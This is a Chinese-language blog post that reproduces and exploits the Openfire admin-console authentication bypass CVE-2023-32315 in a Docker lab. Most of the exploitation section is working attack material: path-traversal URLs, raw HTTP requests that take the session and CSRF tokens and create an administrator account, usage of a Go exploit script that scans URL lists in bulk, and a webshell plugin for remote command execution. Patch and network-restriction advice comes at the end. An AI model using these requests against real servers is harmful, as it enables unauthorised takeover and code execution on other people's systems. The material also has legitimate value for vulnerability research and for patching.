Bootstrap

Openfire身份认证绕过漏洞复现+利用(CVE-2023-32315)

0x01 产品简介

      Openfire是免费的、开源的、基于可拓展通讯和表示协议(XMPP)、采用Java编程语言开发的实时协作服务器。Openfire安装和使用都非常简单,并利用Web进行管理。单台服务器甚至可支持上万并发用户。

0x02 漏洞概述

      Openfire的管理控制台是一个基于 Web 的应用程序,被发现可以使用路径遍历的方式绕过权限校验。成功利用后,未经身份验证的用户可以访问 Openfire 管理控制台中的后台页面。同时由于Openfire管理控制台的后台提供了安装插件的功能,所以攻击者可以通过安装恶意插件达成远程代码执行的效果。   

0x03 影响范围

    3.10.0 <= Openfire < 4.6.8

    4.7.0 <= Openfire 4.7.x < 4.7.5

0x04 复现环境

    docker搭建Openfire 4.7.4漏洞环境

  拉取镜像

docker pull nasqueron/openfire:4.7.4

e7376eb608644f2fb38b13cab1b21e0f.png

 启动环境

docker run --name openfire -d --restart=always \
  --publish 9090:9090 --publish 5222:5222 --publish 7777:7777 \
  --volume /srv/docker/openfire:/var/lib/openfire \
  nasqueron/openfire:4.7.4

5208ae6e9d084c75b52fdbeac8e3edfc.png

访问环境,需要安装,一直下一步即可 

ebc741c4d344448da0e4f7bdb22eb354.pngbab08a014b8a435ab4e1590d47f52c5c.png

 安装完毕

0x05 漏洞复现

 Exp脚本:https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass

44710a9a32c04a03ae23eb52b7219438.png

使用方法:Get项目到有go环境的主机(go版本1.20以上)

cd CVE-2023-32315-Openfire-Bypass/scan_all    
go mod tidy                                #编译脚本获取依懒

单url利用姿势

go run main.go -u http://openfire.com:9090

多url利用姿势

go run main.go -l url.txt -t 20

效果(可直接创建用户名密码)

40111d75feea43d3b606f17b8ebe461c.png

手动复现

/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp

3ee5b2b53d2a48e9ae8fb034a7b66a45.png

出现这种情况,证明漏洞存在

获取JSESSIONID和csrftoken

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0

6a0dac24c84442709dd11c8ebd131d98.png

 使用获取到JSESSIONID和csrftoken创建用户

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=I5Mh5Zl1DK2qBGT&username=test123&name=&email=&password=test123&passwordConfirm=test123&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7 HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=node01q1zp5igpjjwd1fd25m8atvtmz12.node0; csrf=I5Mh5Zl1DK2qBGT
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0

9481aeb836a64e7eac877f1a71fff50c.png

 尝试登录

33a60913c19a469c9cf7abdb357dd195.png

3067a2d634be4afea73e87561a057ded.png

 0x06 漏洞利用

上传openfire shell命令行插件

  插件地址:

https://download.csdn.net/download/qq_41904294/87912035

26aa042c2cdf44be83aee16706911623.png

4a18ac255bfd462b81cb8d79dde0f2eb.png061e7a9f836246ddb7e541a4b1423eb0.png

密码"123"点击登录

9fafce9131554a56ad5066a9f34fd371.png

87045deb5d2149ba84659e4c80b7a48a.png

得到webshell 

 0x07 修复建议

升级版本至4.6.8或4.7.5及以上

https://github.com/igniterealtime/Openfire/releases

限制网络访问,切勿将 Openfire 管理控制台暴露于互联网,使用网络安全措施,确保只有受信任成员才能访问。

 

 

 

 

悦读

道可道,非常道;名可名,非常名。 无名,天地之始,有名,万物之母。 故常无欲,以观其妙,常有欲,以观其徼。 此两者,同出而异名,同谓之玄,玄之又玄,众妙之门。

;